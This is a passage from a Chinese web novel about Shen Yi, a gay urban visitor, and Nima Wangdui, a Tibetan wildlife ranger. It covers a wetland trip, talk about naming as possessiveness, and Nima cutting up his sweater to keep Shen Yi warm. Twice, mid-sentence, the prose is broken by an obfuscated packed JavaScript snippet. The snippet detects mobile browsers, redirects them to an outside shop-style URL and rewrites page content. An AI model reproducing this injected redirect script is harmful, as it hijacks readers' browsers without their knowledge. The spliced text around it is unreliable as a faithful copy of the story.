“哥,草原上的风跟城里不一样,看着不大,吹久了骨头缝都冷。”他皱着眉头,语气像个操心的长辈,“在高原感冒可不是闹着玩的,好得慢,人受罪。”直到把沈翊裹得只露出一双眼睛,他才略显满意地停手。 沈翊觉得自己此刻的形象大概像个臃肿的粽子,有点滑稽,但那份细致的温暖却实实在在地包裹着他。 “哥,坐稳,抓好我腰。”尼玛旺堆的声音从前头传来,被风吹散了些许。 沈翊迟疑了一下,只是虚虚地用手指捏住了他藏袍腰侧的布料。他是gay,对方是个自称“不喜欢男生”的直男,他提醒自己保持分寸,哪怕这“分寸”在颠簸的摩托车上显得如此脆弱。 摩托车猛地窜了出去,强烈的惯性让沈翊身体向后一仰。他几乎是本能地,双臂猛地收紧,实实在在地环抱住了尼玛旺堆劲瘦的腰身。脸颊隔着一层围巾,贴上了对方坚实而温暖的后背。 打脸就来得出其不意。他在心里自嘲,管不了那么多了,安全第一。凛冽的风声在耳边呼啸,掠过无垠的、冬日光秃秃的田野。目之所及,是苍黄的土地与远处连绵的雪山,天地间一片苍茫的灰白底色,唯有他们这辆疾驰的摩托车,撕开这片寂静,在身后拖出一道长长的、尘土飞扬的轨迹,像大地蜿蜒的脉搏。 风太大,尼玛旺堆不得不提高音量,声音被风吹得有些变形:“哥——腿冷吗——?” 沈翊整个人缩在他背后,大半寒风被遮挡,怀抱里是对方躯体散发的、令人安心的热度。他摇了摇头,意识到 对方看不见,才大声回了句:“不冷!” 摩托车速度减缓,最终停在一棵叶子落尽的枯树旁。尼玛旺堆支好车,指向不远处一道歪斜的木栅栏:“我们去那边看看。” 沈翊跟着他深一脚浅一脚地走向那片田野。 土地不久前才被翻耕过,又经过冬灌,表面看着干硬,踩下去却瞬间下陷,湿软的泥土立刻包裹住鞋底。每拔 出一只脚,都需要额外的力气,而另一只脚则陷得更深。 一种沉重的、被向下拖拽的感觉从腿部传来,行走变得异常笨拙而费力。 沈翊喘着气,不合时宜地想,若是地狱有入口,大概便是这般滋味。 无数双手从泥泞中伸出来,温柔又固执地,要将你留在这片混沌里。 8. 占有欲 尼玛旺堆看着沈翊深一脚浅一脚、呼吸明显加重,眉头蹙得更紧了。他停下脚步,语气里带着不容置疑的严肃:“哥,别硬撑。在这儿要是高反了,真不是闹着玩的。” 风把他关切的声音送到耳边,沈翊却从中咀嚼出一丝别的滋味。二十七岁的人了,被个比自己小的“教训”,面子上多少有些挂不住。可对方说得在理,他无从反驳。更让他心里微微发涩的是另一个念头:这份担忧里, 有多少是纯粹的关心,又有多少是“客人若出事会很麻烦”的考量?或许兼而有之,但这理性的分析,此刻却 像一根细小的刺,扎在他刚刚试图放松的心上。 他索性蹲了下来,土地湿冷的寒气透过裤料漫上来。 尼玛旺堆立刻也蹲到他身边,声音放缓,解释得极其耐心,甚至带着点商量的口吻:“哥,别生气。你想想,这荒郊野岭的,真要有点状况,我上哪儿找氧气瓶去?今天出来得急,没带备用的。你看这样行不行,你要是不介意,我背你过去。要是想自己走,我就在这儿陪你歇够。不过……”他抬头望了望开始泛青的天色,“那 样咱们回去就得晚,夜里怕是会更冷。” 他说着,作势要起身去察看前方的路。沈翊几乎是下意识地,伸手抓住了他藏袍的边角。布料厚实粗糙,带着主人的体温。“我跟你一起。”他声音不高,却干脆。 尼玛旺堆重新站稳,低头看着抓住自己裤腿的那只手,手指修长,肤色在高原的阳光下显得有些苍白,此刻却紧紧攥着,指节微微用力。 他心头莫名动了一下,像被羽毛轻轻扫过。他用一种略显别扭、却异常温和的语序说:“好,我等你,哥。”这是藏语直译过来的句式,他自己或许都没察觉。 他没有走开,而是再次挨着沈翊坐下,高大的身躯正好挡住了从西北方向刮来的、最凛冽的那股风。 沈翊蹲在尘土里,昂贵的羽绒服下摆蹭上了泥渍也浑然不顾。他只是仰头,望着天际被某种扰动惊起的一小群飞鸟,它们盘旋着,发出清越的鸣叫,翅膀在稀薄的空气中划出自由的弧线。然后,他的目光落在身旁的尼玛旺堆身上,青年正举着手机,专注地拍摄那些鸟儿,侧脸在傍晚的天光里轮廓分明,眼神纯净而认真。 “我现在的‘任务’,就是它们。”尼玛旺堆放下手机,指向天空,语气里有一种与年龄不符的责任感,“负责这片区域的野生动物安全。” “从没见过这样的鸟。”沈翊由衷地说,城市动物园里那些被圈养的、羽毛黯淡的生物,无法与眼前这群鸟类相比。 “它们只在这片高原和尼.泊.尔.那边生活,冬天会飞到这里的湿地。”尼玛旺堆解释道,手指划过一个方向。 沈翊被勾起了兴趣,逃离了水泥森林,他对一切鲜活野性的生命都感到好奇:“这儿还有什么别的动物?” 尼玛旺堆在手机里翻找了一下,点开一张照片,递到沈翊眼前。画面里是一只幼小的动物,蜷缩着,眼神懵懂而惊慌。“这是被人‘捡’到的,”他特意加重了“捡”字,嘴角有一丝冷意,“刚生下来没多久。我们怀疑,是有人想猎杀它妈妈,母兽在逃命时不得已生下了它。现在的人聪明,一律说是‘旅行时捡的’。”他顿了顿,声音低沉下去,“后来,在发现它的地方不远,找到了一具被弓箭射死的尸体,已经有些日子了。” 沈翊心头一紧,盯着屏幕上那团孱弱的小生命。 “它太小就离开了母亲,又被人类照顾,已经没法独自在野外活了。最后,送到了附近山上的寺庙里。”尼玛旺堆的语气缓和了些,带上一点暖意,“山上食物多,也没什么天敌,对它来说算幸运。更幸运的是,寺里的师傅们收留了它。”他翻出另一段视频,画面上,那只已长大不少的动物正悠闲地在寺庙院子里踱步,甚至凑到一位打坐的僧人身边,用头蹭了蹭对方的胳膊,模样憨态可掬。 “它叫什么名字?”沈翊问。 尼玛旺堆挠了挠后颈,脸上浮起一层薄红,显得有些憨直:“不知道。” 沈翊哑然,看着他这副样子,刚才心头那点微妙的感觉竟消散了大半,只觉得有点好笑,又有点……可爱。 “我想,”尼玛旺堆努力解释,耳根更红了,“它们不需要像人一样的名字。不是不尊重,恰恰相反,名字有时候会成为一种束缚,一个画好的圈子。所有生命,骨子里都向往自由,它也不例外。”他收起手机,眼神变得深远,“市里的保护基地想过把它接走,送去动物园。可你想,真进去了,它还能像现在这样,想跑就跑,想躺在哪片阳光下就躺在哪儿吗?动物园,再怎么说,也只是个宽敞点的笼子。” 他沉默了片刻,似乎在整理思绪,也像是在斟酌如何让一个来自都市的“外人”理解自己这份可能显得有些“奇怪”的坚持。“我不是说我们这些在俗世里的人没良心,只是我们给不了它们真正需要的、那种完整的自由。如果硬留在身边,它就会像家里养的牛羊一样,只是另一种形式的圈养。” “取名是占有欲在作祟,取名是对另外一个人的刻印。” “在人类的世界中,名字是用来区分彼此的。” “在动物世界中,气味是用来区分敌我。” 这一切是本能的欲望。 生来就携带的欲望,无法摆脱。 话题自然而然地转到了家里的猫。“其实我家那只猫也一样。”尼玛旺堆说,脸上露出一种混合了温柔与无奈 的神情,“它刚来的时候,除了我阿妈,谁都不让靠近。那么小一点,刚断奶,离开了妈妈,怕得不行,浑身的毛都炸着,爪子锋利得很。”他下意识地摸了摸手背上几道早已淡去的白痕,“我没少被它划伤。可这怪不得它,那是它保护自己的唯一方式。” “或许,我可以像很多人那样,给它起个名字,每天唤它,让它习惯我的存在,变得温顺黏人。”他摇了摇头,语气很轻,却异常坚定,“但我觉得,那不是对它好。给它名字,像是强行打上属于‘我的’标记,是一种……侵.犯。我更希望它保持那份对人的警惕,留着点野性。这样,就算哪天我们都不在家,它也能好好地保护自己,活下去。” 他望向远处隐约的村落轮廓,声音沉稳下来:“‘家’对我们来说,是个无论走多远都知道要回去的地方。猫、狗、牛羊,它们也认得回家的路。在外头玩累了,遇到危险了,总会想着回来。可有些动物,像山里那只,它们本就不该被‘家’困住。它们的‘家’是整个山林,是这片天地。迷路,或许是因为它们心里还向着更广阔的、真正属于它们的自然。” 一番话说完,尼玛旺堆似乎才意识到自己说得有些多,有些“异样”。他习惯性地又搓了搓后颈,讪讪地补充:“我知道,我的这些想法,在你们看来可能有点怪。” 沈翊静静地听着。起初,他确实觉得这观念独特甚至有些偏执,但听着听着,某种共鸣却悄然滋生。 这不是简单的“爱护动物”,而是一种更深层的、对生命本质的尊重与谦卑,一种将心比心的平等视角。它剥去了人类惯有的、居高临下的“赐予”和“命名”的优越感。这种骨子里的“敬重生命”,意外地契合了他对藏族文化某种模糊的想象,却又远比想象更加真实和深刻。 就在这时,一阵窸窣响动,不知从哪儿窜出一只野狗,惊得远处水洼边的鸟群再次腾空而起,扑棱棱的翅膀声响成一片,在渐暗的天空下织出一幅动态的、充满生命力的画卷。沈翊看得有些出神,这场景他在纪录片里见过,但身临其境,那种原始的、蓬勃的冲击力截然不同。 他拍了拍沾满尘土的衣裤,站起身,转头看向尼玛旺堆。青年的脸庞在暮色中显得轮廓深邃,眼神干净而执着。沈翊心中一动,开口道:“我以前总觉得,给亲人、宠物取名,是表达亲密和占有的一种方式。听了你的话,我好像有点明白了……‘命名’有时候确实意味着‘定义’和‘划界’。你的想法一点都不怪,反而……”他斟酌了一下,找到一个词,“很有意思,很珍贵。” 尼玛旺堆显然没料到会得到这样直接的肯定。他怔了一下,随即,那股熟悉的红晕以肉眼可见的速度从他脖颈蔓延开来,瞬间染红了整张脸膛,连耳朵尖都仿佛在晚霞里烧了起来。他局促地移开视线,嘴唇动了动,却没发出声音,那副手足无措的样子,比刚才谈论生死自由时,更像他这个年纪该有的青涩。 沈翊看着他通红的脸和躲闪的眼神,心底某个角落像被羽毛搔了一下,痒痒的,带着一丝说不清道不明的、微妙的愉悦。他忽然觉得,这个高大强壮、能独自在荒野工作的青年,内里其实藏着一片极其柔软、甚至有些笨拙的赤诚。 “取名是占有欲,是刻印。在人的世界里,名字用来区分彼此;在动物的世界里,气味用来划清敌我。”尼玛旺堆低声重复了一遍,像是巩固自己的理念,又像是解释给沈翊听,“说到底,可能都是一种……本能。” 欲望。与生俱来,难以摆脱。沈翊在心里默默接上。 他忽然意识到,自己此刻对眼前这个人产生的、越来越浓烈的好奇与靠近的冲动,是否也是一种本能?一种超越了理性权衡,试图在对方生命里留下“气味”或“痕迹”的原始欲望? 尼玛旺堆甩甩头,似乎想抛开这些过于抽象的想法。他伸手扶住沈翊的胳膊,触感坚实而温暖。“哥,缓过来没?其实……今晚晚点回去也行。”他语气里有种迁就的意味。 沈翊借着他的力道站稳,却轻轻挣开了他的手,笑了笑。那笑容在暮色里有些模糊,声音却清晰:“你不是说晚上冷吗?我这人最怕冷了,所以……”他看向前方隐约的林子和更远处仿佛没有尽头的湿地,“咱们还是抓紧点,早点回去。” 尼玛旺堆没再坚持,点了点头,率先引路,带着沈翊跨过那道低矮的栏杆,正式进入了湿地保护区的范围。 里面空间远比外面看起来辽阔,走了许久,仍是一望无际的草甸和水泊。 零星有几匹无人看管的马和几头牦牛在远处悠闲踱步。 当他们穿过一片不大的树林时,天光已几乎被茂密的枝桠吞噬殆尽,四周迅速暗沉下来。树影幢幢,风声穿过枯枝发出呜咽般的轻响,四周寂静得只能听见彼此的脚步声和呼吸。 这氛围,确实像极了某些悬疑剧里危机四伏的场景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182981|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。沈翊下意识地绷紧了神经,但侧目看到前方尼玛旺堆沉稳宽阔的背影,那份没来由的恐惧便悄然消散了大半。有他在,这片陌生的、黑暗的荒野,似乎也不再那么令人不安。 尼玛旺堆指着树林边缘一栋几乎与夜色融为一体的低矮小屋轮廓,声音在寂静中格外清晰:“那里,以前住着一位看守树林的聋哑大叔。他一辈子几乎都守在这儿,那小屋子,比城里酒店的卫生间大不了多少。春夏秋冬,就他一个人。”他的语气里充满了敬意,也有一丝难以理解的唏嘘,“没人愿意常年待在这么荒僻的地方,都说夜里吓人,其实多半是自己吓自己。” 沈翊想象着一个人数十年的孤独坚守,那需要何等的心志。他忍不住问:“那……他为什么愿意一直待在这儿?” 尼玛旺堆沉默了一会儿,似乎在回忆。“我记得他……人其实挺热情的,见人会笑,比划着手势。但等人群散了,他一个人往回走的时候,那背影……”他顿了顿,找到一个比喻,“就像被扔在野地里、不知所措的小狗,看着特别……孤单。” 这个充满画面感的描述,让沈翊心头微微一颤。他仿佛能看见那个沉默的背影,融进无边的寂寥里。 “等春天你还在的话,我带你来,”尼玛旺堆话锋一转,声音里注入一丝明亮的期待,“那时候这儿才好看,草绿了,花开了,水也清了,跟现在完全两个样。” 沈翊含糊地“嗯”了一声,心里却模糊地想着,春天……自己还会在这里吗?这个念头一闪而过,带来一丝莫名的怅惘。 “越往湿地深处走,脚下越发需要小心。有些地方看着是结实的草甸,一脚下去却是冰凉的积水。”尼玛旺堆说完,轻车熟路,刻意挑选着相对干燥的路径,有时甚至会短暂地握住沈翊的手腕,帮他跨过一些水洼或湿滑的土坎。他的手掌温热有力,带着常年劳作的粗糙,触碰短暂却不容忽视。 路过一处林中空地,那里搭着几个简单的木质凉棚和长椅。尼玛旺堆介绍说,这叫“林卡”,是大家偶尔来聚会娱乐的地方,不过在保护区里,这类活动很少也很克制。 “可惜,”他笑了笑,那笑容在昏暗光线下显得有些淡,“我好像从来没赶上过热闹的时候。我的运气啊,从来就不算好,什么事都得自己吭哧吭哧努力才行。可能生来就不是那种被老天爷额外眷顾的人吧。” 这话里不经意流露出的、一丝早已习惯的淡淡无奈,像一颗小石子投入沈翊心湖。他太熟悉这种感受了,觉得自己拼尽全力却总是差一点,看着旁人似乎轻易就能得到自己渴望的东西,从而将一切归咎于虚无缥缈的“命运”或“运气”。他自己也曾深陷其中。 他正出神,手腕忽然被尼玛旺堆轻轻拉了一下。“怎么了?”尼玛旺堆回头看他,眼神带着疑问。 沈翊回过神,几步跨到他面前。 夜色已浓,彼此的面目都有些模糊,但他动作果断,伸出手,带着点“年长者”的虚张声势,不轻不重地在尼玛旺堆戴着帽子的头顶敲了一记。 “你个小孩子家家的,哪来这么多老气横秋的念头?”沈翊的声音在寂静的树林里显得格外清晰,带着一种他自己都没察觉的、近乎亲昵的责备,“什么命运眷顾不眷顾的?你知不知道你长得多帅?你知不知道我有多羡慕你现在这样的生活?有家,有牵挂你的人,做的事是自己觉得有意义的,脚下踩的是实实在在的土地!” 他深吸了一口冰冷却清冽的空气,盯着对方在黑暗中依然明亮的眼睛,一字一句地问:“我就问你,尼玛旺堆,撇开跟别人比,就现在,这一刻,你觉得自己快乐吗?” 尼玛旺堆似乎被他突如其来的动作和连珠炮似的问题问懵了,下意识地点头,脱口而出:“快乐。” “那你觉得幸福吗?” 这次,尼玛旺堆没有立刻回答。他静静地看着沈翊,尽管看不清对方的表情,却能感受到那份异常认真的态度。片刻,他点了点头,声音不大,却异常肯定,甚至微微弯起了眼睛:“嗯,很幸福。” “那不就得了!”沈翊像是得到了想要的答案,语气也随之松快下来,还带着点胜利般的总结,“很多人拼命想抓都抓不住的东西,你已经握在手里了。你在羡慕别人的时候,说不定别人也在偷偷羡慕着你。所以,少想那些‘命运’不‘命运’的。” 他说完,似乎才觉得自己的举动和话语有些过于激动和越界,掩饰般地转身,率先朝前走去。 心脏在胸腔里跳得有点快,不知是因为刚才那番话,还是因为夜色掩盖下,某些不必言明的情愫正在悄然滋长。 尼玛旺堆站在原地,摸了摸刚才被敲了一下的头顶,那里似乎还残留着一点对方指尖的触感。 他看着沈翊有些匆匆的背影,那句“你知不知道我有多羡慕你现在这样的生活”和黑暗中格外明亮的眼神,像两颗小小的火星,落入他心田那片他自己都未曾仔细探索过的地方。 一股暖意,混杂着一种奇异的、被深深理解和肯定的悸动,缓缓蔓延开来。他快走几步,默默跟了上去,这一次,两人之间的沉默,不再只有风声和脚步声,还流淌着一些刚刚破土、尚未命名的东西。 9. -狼狈- 夜色将荒野最后的轮廓也吞没了。 沈翊那句“少想那些命运眷顾不眷顾。”像一颗小石子投入心湖,在尼玛旺堆心里漾开一圈细微却持久的涟漪。他沉默地咀嚼着那句话,还有说话时沈翊在黑暗里格外明亮的眼睛。半晌,他抬起头,神色在手机屏幕微弱的光线下显得异常坚定,像是得出了某个重要的结论:“其实很多事情,本来就没有绝对的对错,是吧?”话是疑问句,语气却是肯定的。 “是啊。”沈翊轻声应和,带着一丝历经世事的疲惫与了悟。这简单的认同,在空旷寂静的荒野里,有种奇特的共鸣感。 尼玛旺堆不再说话,转而拿出手机,借着沈翊手中电筒的光,对准脚边几丛在寒风中瑟缩的、叫不出名字的枯草和地衣,调整角度。 他一手举着亮得刺眼的手电,一手笨拙地握着手机,身体半蹲,姿势看起来有些滑稽,却无比认真,仿佛在完成一项神圣的记录。 沈翊看着他专注的侧影,心里那点说不清道不明的柔软又漫了上来。他往前走了一步,几乎贴着尼玛旺堆的背,伸手去接那只沉甸甸的手电:“给我吧。怎么,怕我连个手电都拿不稳,会摔倒?” 尼玛旺堆正全神贯注对焦,闻言猛地转头,脸上闪过一丝被误解的急切:“不是!哥,我真没这么想!”他急急解释的样子,又带上那种让沈翊觉得有趣的憨直。 沈翊不由笑了,就着他的手接过电筒,稳稳举起,让光柱更好地笼罩那一小片区域。“快拍吧,”他催促,声音在电筒光晕里显得温和,“拍完好回家。”这句话脱口而出,带着一种自然而然的归属意味,连他自己都微微怔了一下。 尼玛旺堆“嗯”了一声,重新对准那几丛植物,从不同角度又拍了好几张。然后他半蹲下身,就着电筒的光,仔细翻看屏幕上的照片,眉头微蹙,检查着清晰度和构图,那屏幕碎得如同蛛网,划痕在光下泛着细碎的光。 沈翊站在他身后半步,也微微倾身,想看看在这样简陋的条件下,夜空下的景物能被拍成什么样子,自己打光的角度是否合适。两人的距离很近,近到沈翊能闻到尼玛旺堆身上传来的、混合了淡淡酥油、阳光和寒冷空气的干净气息。 就在这时,尼玛旺堆检查完毕,心满意足地直起身—— “唔!” 他的后背结结实实地撞进了沈翊怀里。沈翊本就站得不稳,被这带着青年全部重量的一撞,惊呼一声,整个人向后倒去。尼玛旺堆反应极快,瞬间转身,手臂猛地伸出,一把捞住了沈翊的胳膊,用力往回带。然而湿地边缘的泥土湿滑松软,这一拉一扯间,沈翊虽然没完全摔倒,但为了保持平衡,一只手还是重重撑在了身后一片冰凉的、半融的雪水泥泞里。 刺骨的寒意瞬间穿透手套,湿冷的感觉迅速在臀部蔓延开来。沈翊倒吸一口凉气。 “哥!”尼玛旺堆的声音带着懊恼和焦急,他一手紧紧攥着沈翊的胳膊,另一手迅速从沈翊手里拿过电筒,想也没想,就往沈翊身后照去,他想看清楚情况。 明亮的光圈一下子打在沈翊沾满泥水、颜色深了一片的裤子上,尤其是臀部和大腿后侧,湿痕在光下无所遁形。这姿势和关注点实在过于尴尬,沈翊头皮一麻,下意识地也伸手往后摸了一下,指尖传来的湿冷黏腻感让他心头一凉。 尼玛旺堆迅速移开电筒,但刚才那一眼看得分明。他脸上掠过一丝不自在的红晕,但更多的是担忧。他凑近些,压低声音,语气是纯粹的关切和一种务实的认真:“哥,里面……秋裤湿了吗?” “……” 沈翊僵在原地,脑子里轰的一声。 冰冷的湿意贴着皮肤,但更让他无所适从的是这个问题本身,以及提问者那双在黑暗中澄澈见底、不带丝毫旖旎的眼睛。 你知道一个gay面对一个真诚又好看的直男这种直白到近乎“傻气”的关怀,有多悲催吗?他内心哀嚎,脸上却只能努力维持镇定,甚至扯出一个勉强的笑:“好像……湿了一点。” 何止一点。寒意正像狡.猾的蛇,顺着湿.透的布料缝.隙往里钻,激起一阵细密的战.栗。 尼玛旺堆一听,眉头立刻锁紧了。他二话不说,迅速把肩上的背包褪下来,放在自己脚边。然后,在沈翊还没反应过来时,他解开了藏袍,拉开了自己厚实外套的拉链,双手抓住里面毛衣的下摆,有些费力地,因为毛衣里面似乎还穿了保暖衣,将那件看起来就很暖和的藏青色毛衣从头上脱了下来。冷风瞬间灌入他只剩贴身衣物的上身,但他毫不在意,快速把外套重新拉好,穿上藏袍,然后将尚带着体温的毛衣塞到沈翊手里。 “哥,我背包左侧外层,有把刀,帮我拿一下。”他的声音很稳,带着不容置疑的意味。 沈翊被他这一连串动作弄懵了,下意识地接过那件还残留着对方体温和气息的毛衣,触手柔软而厚重。他依言蹲下,在尼玛旺堆的背包侧袋里,摸到了一把带有皮质刀鞘的藏刀。刀柄是银质的,在电筒光下泛着冷冽的光泽。 尼玛旺堆接过刀,动作熟练地“唰”一下抽出刀.刃。然后,他把那件毛衣重新拿回来,展开,将毛衣的左右下摆分别递给沈翊:“哥,帮我抓着这两边,扯平。” 沈翊照做了,心里隐约猜到他要干什么,但那个猜想过于离谱,让他不敢确信。 只见尼玛旺堆握住刀,锋利的刀刃贴着毛衣的肩线,毫不犹豫地划了下去。嘶啦——纤维断裂的声音在静夜里格外清晰。他手法干脆利落,几下就将毛衣沿着中线剖开,分成相对平整的前后两片厚实布料。接着,他又将两只袖子齐根割下。 他拿起其中一片,递给沈翊,脸上表情再自然不过,仿佛在递一杯水:“哥,用这个垫在里面,隔开湿衣服。不然寒气一直往里渗,会冻伤的。”他甚至还贴心地补充,“虽然不吸水,但能保温,不让湿的地方扩大。” 沈翊:“!!!” 他瞪大了眼睛,看着手中这块还带着尼玛旺堆体温的、被暴力改造的毛衣“衬垫”,又看看对方理所当然的表情。这……这真是他想的那个用途?把还带着对方体温的毛衣,垫在自己……屁股下? 尼玛旺堆已经把另一片毛衣和割下的袖子仔细叠好,收回背包。然后他把手电筒塞回沈翊手里,指了指不远处几棵挨得较近、能稍微挡风的树:“哥,你去那边树后面弄。放心,我不过去。”他的语气坦然又周全,仿佛在处理一件再普通不过的技术问题。 沈翊捏着那块柔软的羊毛织物,指尖传来的暖意与臀部冰冷的湿漉形成鲜明对比。要脸,还是要不被冻僵的“腚”?这选择荒诞得让他想笑。他看着尼玛旺堆清澈的、写满“这是为你好”的眼睛,所有扭捏和尴尬忽然变得毫无意义。 “哥,你屁股不冷吗?”尼玛旺堆见他不动,又认真地问了一句,带着点催促。 “……冷。”沈翊从牙缝里挤出一个字,耳朵尖不受控制地烧了起来。他认命般抓着手电和那块“救命”羊毛,快步走向那片树丛。这辈子就没经历过这么离谱又……难以形容的时刻。 几分钟后,沈翊从树后走出来,姿势略显别扭。那块垫着的羊毛粗糙但异常温暖,有效地隔绝了大部分湿冷,只是心理上的怪异感挥之不去。他脸上热度未退,根本不知道该如何面对尼玛旺堆。 尼玛旺堆却像是完成了什么重要任务,见他出来,很自然地迎上前:“哥,弄好了?”他仔细看了看沈翊的脸色,似乎想确认他的状态。 “……”沈翊移开视线,含糊地应了一声,只想立刻结束这个话题,“我们……什么时候能回去?” “现在就回。”尼玛旺堆看了看手机,又环视四周辨明方向,“走这边,这边路干一点,好走。”他率先迈步,走向与来时略有不同的一条更绕远的土路。 沈翊跟上去,起初心里还有点嘀咕为什么非要绕远。但走了一会儿,发现这条路上虽然绕,但确实避开了不少明显的水洼和泥泞处,相对干燥好走。他明白了,这是尼玛旺堆在照顾他“湿衣服”的处境和显然已经疲惫的体力。这份无声的体贴,像一股细小的暖流,冲散了之前的尴尬,留下一种更复杂的悸动。 回去的路很长,夜色浓稠如墨。两人不再交谈,只听见沉重的脚步声和略显急促的呼吸声在荒野中回荡。手电光划破黑暗,照亮前方一小片凹凸不平的土路,两个一高一矮的身影被拉长、变形,投射在荒芜的地面上。 起初,尼玛旺堆只是偶尔在沈翊脚步趔趄时扶一下他的胳膊。但随着时间推移,沈翊感觉那股从湿冷裤子里透上来的寒意越来越难以忍受,身体开始不受控制地微微发抖,牙齿也轻轻打颤。 尼玛旺堆很快察觉了。他停下脚步,转过身,手电筒的光从下往上照亮他棱角分明的脸,平日里温和的眼睛里此刻翻涌着明显的担忧,甚至……一丝不易察觉的怒气?他伸出手,不再是简单的搀扶,而是结实有力地、几乎是用臂弯将沈翊半圈住,搂向自己身侧,用身体帮他挡住更多的风。 “哥,”他的声音比寒风更刺人,带着压抑的火气,“你是不是根本没垫那个?还是垫得不对?”他紧紧盯着沈翊,仿佛要透过衣物看出真相。 沈翊被他搂得一愣,那臂膀的力量和贴近的体温让他心跳漏了一拍。随即,他心头也莫名蹿起一点火苗,是气对方过于敏锐的追问,还是气自己此刻的狼狈?或许,更多的是气那份自己都无法厘清的、因这过分亲密的关切而生出的慌乱和……隐约的欢喜?他别开脸,硬邦邦地否认:“垫了!谁知道你们西藏冬天晚上能冷成这样!” 尼玛旺堆没再说话,只是搂着他的手臂更收紧了些,几乎半抱着他往前走。然而沈翊的颤抖并未停止,寒意似乎从骨头缝里钻出来。又走了一段,尼玛旺堆忽然再次停下。这次,他松开了沈翊,在沈翊惊讶的目光中,迅速脱下了自己身上那件厚实的防风外套。 “你干什么?!”沈翊急忙阻止,看着他瞬间只剩一件单薄毛衣的上身,“你自己不冷吗?” 尼玛旺堆不由分说,举着外套就往沈翊身上披,语气是不容反驳的坚持:“哥,我说过,在高原感冒很麻烦。我不希望因为这个,影响你接下来的心情和行程。”他顿了顿,看着沈翊的眼睛,声音低了些,却更认真,“玩得不开心,或者病了,我会觉得……是我没照顾好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182982|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后那句话,轻飘飘的,却像一块石头砸进沈翊心里。不是客套,不是责任,那里面有一种近乎笨拙的、想要对方“开心”的纯粹意愿。沈翊所有拒绝的话都堵在了喉咙里。 “赶紧穿上,”尼玛旺堆见他不动,有点急了,把外套又往前递了递,甚至开了个生硬的玩笑,“不然这鬼天气真把我这点热气偷光了。” 沈翊看着他被寒风吹得发红的脸颊和耳朵,看着他眼中不容忽视的执拗关切,最终妥协了。他接过那件还带着尼玛旺堆体温的外套,沉甸甸的,披在身上瞬间就被暖意包裹。“……那我们换着穿。”他脱下自己那件防水但已不保暖的外套,递给尼玛旺堆。 尼玛旺堆这次没拒绝,接过来利落穿上。沈翊的衣服穿在他身上,明显小了一号,袖子短了一截,肩膀和胸背处绷得有些紧,拉链甚至无法完全拉拢,看上去有些滑稽,但他毫不在意,只问:“暖和点了吗,哥?” 沈翊点了点头,将自己裹进那件宽大的、充满尼玛旺堆气息的外套里,鼻尖萦绕着那股令他安心的味道。这感觉陌生又亲密,让他心乱如麻。 当他们终于深一脚浅一脚地回到摩托车旁时,已近深夜。尼玛旺堆从背包里掏出那片剩下的毛衣,仔细铺在摩托车冰凉的皮质后座上。“垫着这个,哥。座子凉,你裤子又湿,直接坐受不了。” 沈翊看着他的动作,心里那点模糊的猜想再次翻腾起来,如果不是有特别的在意,谁会细心到这种地步?谁会毫不犹豫地剪坏自己的毛衣,只为给一个认识几天的“客人”垫屁股、隔湿气?这份好,早已超出了寻常的待客之道,甚至超越了一般的朋友关怀。 他沉默地坐上后座,那块羊毛垫子果然隔绝了座垫的冰冷。尼玛旺堆发动摩托车,引擎的轰鸣打破了夜晚的寂静,车头灯射出的光成为天地间唯一移动的光源,像一颗倔强的流星,划向名为“家”的彼岸。 寒风如同冰刀,尤其是行驶起来后。 沈翊缩在宽大的外套里,脸埋在尼玛旺堆背后,依然能感到刺骨的冷。他看到尼玛旺堆露在帽子外的耳朵,很快就被冻得通红,甚至有些发紫,在车灯偶尔扫过的光线里看得分明。 德吉次仁说过,她弟弟抗拒与女孩接触。那……男人呢?被他这样抱住,他会觉得怪异、甚至恶心吗?这个念头一闪而过,带着些许卑劣的试探和更多的破罐破摔的冲动。 几乎是未经思考的,沈翊环在尼玛旺堆腰上的手臂收紧了些,将两人的距离拉得更近,近到胸膛完全贴住了对方的后背。然后,他抬起一只原本搭在对方腰侧的手,轻轻地、有些犹豫地,覆上了尼玛旺堆那只冻得通红的左耳。 掌心下,那耳朵冰冷僵硬。但在触碰的刹那,沈翊清晰地感觉到,尼玛旺堆整个脊背瞬间绷直了,握住车把的手似乎也紧了一下,摩托车甚至微不可察地晃了晃。他没有立刻躲开,也没有说话,就那么僵持了几秒。然后,非常非常轻微地,沈翊感到那冰冷的耳廓,似乎在自己温热的掌心下,几不可察地动了动,像是不适应,又像是……无意识的依偎? 这份细微的反应,像一道微弱的电流,窜过沈翊的手臂,直击心脏。一股混合着罪恶感和巨大欢欣的暖流猛地涌上来,冲刷着他冰凉的四肢百骸。他维持着那个姿势,手掌小心地护住那只耳朵,试图传递一点微不足道的温暖。 这亲密的接触,却像一把钥匙,不经意间打开了记忆深处某扇尘封的门。 眼前的黑暗、呼啸的风、紧贴的背脊,忽然与多年前那个混乱的生日夜晚重叠。父母带着各自的情人摊牌,互相指责,言辞刻薄。 母亲尖锐的声音刺破空气:“……都是跟你学的!上梁不正下梁歪!”父亲的男友试图捂住他的耳朵,可他早已不是需要被遮挡风雨的孩子。 当时是出于报复吗?还是少年人面对家庭分崩离析时绝望的嘶喊?他当着所有人的面,对着母亲带来的那个温柔阿姨,一字一句地说:“我喜欢男生。” 